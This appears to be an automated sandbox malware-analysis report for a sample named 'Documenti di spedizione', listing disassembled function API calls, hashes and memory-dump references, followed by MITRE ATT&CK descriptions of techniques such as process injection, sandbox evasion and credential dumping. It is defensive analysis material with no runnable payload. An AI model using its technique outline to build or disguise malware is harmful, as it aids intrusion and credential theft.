Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction ID: 023f80fe09a274ffd38664002148efa248b1b49841e283c842910b226ff12a9e
Opcode Fuzzy Hash: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction Fuzzy Hash: BA219171A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA7886408B28

Function 004048D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0041FD30,0041FD30,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
wsprintfA.USER32 ref: 00404977
SetDlgItemTextA.USER32(?,0041FD30), ref: 0040498A

Strings

%u.%u%s%s, xrefs: 00404959

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 82e12f032b3efd850847d5b584d2a8547bd6d54b12269a14f91348113f1031b8
Instruction ID: 7f1be1aa0c85ccb86495671cb382a06f82cddcf8175a130fa0267404931b34df
Opcode Fuzzy Hash: 82e12f032b3efd850847d5b584d2a8547bd6d54b12269a14f91348113f1031b8
Instruction Fuzzy Hash: CF11B7736041283BDB0065799D45EAF3298DB85374F250637FA25F21D1E978CC1255EC

Function 004023D3 Relevance: 6.1, APIs: 4, Instructions: 73registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
lstrlenA.KERNEL32(00409C00,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
RegSetValueExA.ADVAPI32(?,?,?,?,00409C00,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
RegCloseKey.ADVAPI32(?,?,?,00409C00,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 65fbc6128c6ea6ccac0771d36d25ae40eb91bbe92aaef5046d3fe99f3cf24475
Instruction ID: 45e6817f5ac0ad5077c8573445b5e51b6f54d3a00a8772886ac111494e5e57ea
Opcode Fuzzy Hash: 65fbc6128c6ea6ccac0771d36d25ae40eb91bbe92aaef5046d3fe99f3cf24475
Instruction Fuzzy Hash: B52181B1E00109BEEB10EFA4DE49EAF7BB8EB54358F20403AF505B61D1D6B95D019B28

Function 00401FFF Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 0040202A

Part of subcall function 00405110: lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040203A
GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: b9f0aec67fea9bc98c5863c357296edba73ca0e05b72c9a1f083ca6005b565f3
Instruction ID: 7d08e1e337802b2334af88e0c199d29f708e40c37bf94ee781fb5d0f0b1c297d
Opcode Fuzzy Hash: b9f0aec67fea9bc98c5863c357296edba73ca0e05b72c9a1f083ca6005b565f3
Instruction Fuzzy Hash: 7B219571E00225F7DB207FA48E49A6E7A74AB44354F20417BF601B22D1D6BE4A42965E

Function 00405084 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004050B3
CallWindowProcA.USER32(?,?,?,?), ref: 00405104

Part of subcall function 00404128: SendMessageA.USER32(?,00000000,00000000,00000000), ref: 0040413A

Strings

, xrefs: 00405094

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction ID: e292fc6bb5149b142bd52d3e096dd2ae09329e4c6d4eed70fd370e7000aba408
Opcode Fuzzy Hash: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction Fuzzy Hash: B2018F71504609ABDF205F11ED84AEF3765EB84750F208037FA01B92D1C77A9D92AFAE

Function 00405B99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405BAD
GetTempFileNameA.KERNEL32(?,?,00000000,?), ref: 00405BC7

Strings

nsa, xrefs: 00405BA4

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction ID: bfd989d901498d13fd43eebbd57bf0dae5b4b0e38faf5f28c0e1a6b78de2ea97
Opcode Fuzzy Hash: fefc0482c854070ed442c91c2c9b831f833a608d20a08577fe9f9df7fb59a314
Instruction Fuzzy Hash: B7F082367086046BEB108F55EC04B9B7BACDF91750F10C03BFA08DA1D0E6B5F9548B59

Function 38CF8498 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 38CF86FE
$]q, xrefs: 38CF8757
$]q, xrefs: 38CF8763
$]q, xrefs: 38CF86F2

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 408cb7bfcaee65500233ee0a2585bf5071516073915d6b2063f40af739af0b1f
Instruction ID: 270dac6aaae84177cde545006c8da80881fedc7f34b30c9ac7be03ddb992af2f
Opcode Fuzzy Hash: 408cb7bfcaee65500233ee0a2585bf5071516073915d6b2063f40af739af0b1f
Instruction Fuzzy Hash: 98B11834A00209CFEB58DF69D59469EB7A2FF84304F60893AD409EB355DB35DC82CB91

Function 00405688 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421538,Error launching installer), ref: 004056B1
CloseHandle.KERNEL32(?), ref: 004056BE

Strings

Error launching installer, xrefs: 0040569B

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction ID: a84e3f3112e4284354e87e930577f618970dfa48977d7da17d28cbc3385d6636
Opcode Fuzzy Hash: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction Fuzzy Hash: 36E04FB0A002097FEB009B60EC05F7B7ABCE710204F808571BD01F2160D278A8008A78

Function 00406977 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction ID: 2e33bf0a2efd24b19013112e0e3dc0c5d96cbb3b8ddfa3d6198f03b0ea5f4905
Opcode Fuzzy Hash: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction Fuzzy Hash: 38A14271E00229CBDF28CFA8C8447ADBBB1FF44305F15806AD856BB281D7789A96DF44

Function 00406B78 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction ID: b6fdc69984dd60fe5839cdbb69547f11a37967466e553f406be5e4f069ddcdf3
Opcode Fuzzy Hash: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction Fuzzy Hash: 06912371E00228CBDF28CF98C8547ADBBB1FF44305F15816AD856BB291C778AA96DF44

Function 0040688E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction ID: c7cee2028620334147dbeeecb81edbae78790ee6bd2d36d3aed28758d5738f0f
Opcode Fuzzy Hash: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction Fuzzy Hash: CF813471E00228DBDF24CFA8C844BADBBB1FF44305F25816AD856BB291D7389996DF14

Function 00406393 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction ID: 57d0a4a62e73b261e138738b2685f27b9a830e1577229771e06a9dcc4a08ef7a
Opcode Fuzzy Hash: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction Fuzzy Hash: DC816771E04228DBDF24CFA8C844BADBBB1FF44315F11816AD856BB280C7786996DF44

Function 004067E1 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction ID: 7a0e56a60353855b6858f4e45cba095cd8fb81da81d2b3e1620468e36a0fecf5
Opcode Fuzzy Hash: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction Fuzzy Hash: E2710371E00228DBDF28CFA8C844BADBBB1FF44305F15806AD856BB291D7389996DF54

Function 004068FF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction ID: 640397e2d056f1a05ee02a3664d9fcc147c5dfb75bdb54ac859d1c8af1b059c5
Opcode Fuzzy Hash: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction Fuzzy Hash: 7F712471E00228DBDF28CF98C844BADBBB1FF44305F15806AD856BB291C7789996DF48

Function 0040684B Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction ID: 45e0d9c6199636d87fa33ccb5d6651f7628d4ee42d5e4054af8bad143df77737
Opcode Fuzzy Hash: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction Fuzzy Hash: D1714771E00228DBDF28CF98C844BADBBB1FF44305F15806AD956BB291C778AA56DF44

Function 38CF88B0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR]q, xrefs: 38CF89A3
$]q, xrefs: 38CF893B
$]q, xrefs: 38CF892F
LR]q, xrefs: 38CF89F2

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: 37b6b5f1a8465ecb39ac377d6bdf8f10595faa234b7895d780dd46eb3df3eb64
Instruction ID: e3ea27fd55608fbc25b2d823d153fae9d3a8f65783748c441e86db405d191064
Opcode Fuzzy Hash: 37b6b5f1a8465ecb39ac377d6bdf8f10595faa234b7895d780dd46eb3df3eb64
Instruction Fuzzy Hash: 3951DE347002059FEB58DF28C890A5AB7E6FF88704F148579E905EB3A5DB36ED02CB91

Function 00405ACF Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405AF7
CharNextA.USER32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B08
lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction ID: b8bae3ead32ec2695fa88c6f2b94aa478c41e31f8fdb951db119f3f4d21ee890
Opcode Fuzzy Hash: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction Fuzzy Hash: C1F0C231605518BFCB029FA5DC4099FBBB8EF46350B2140A5F800F7250D274FE019BA9

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
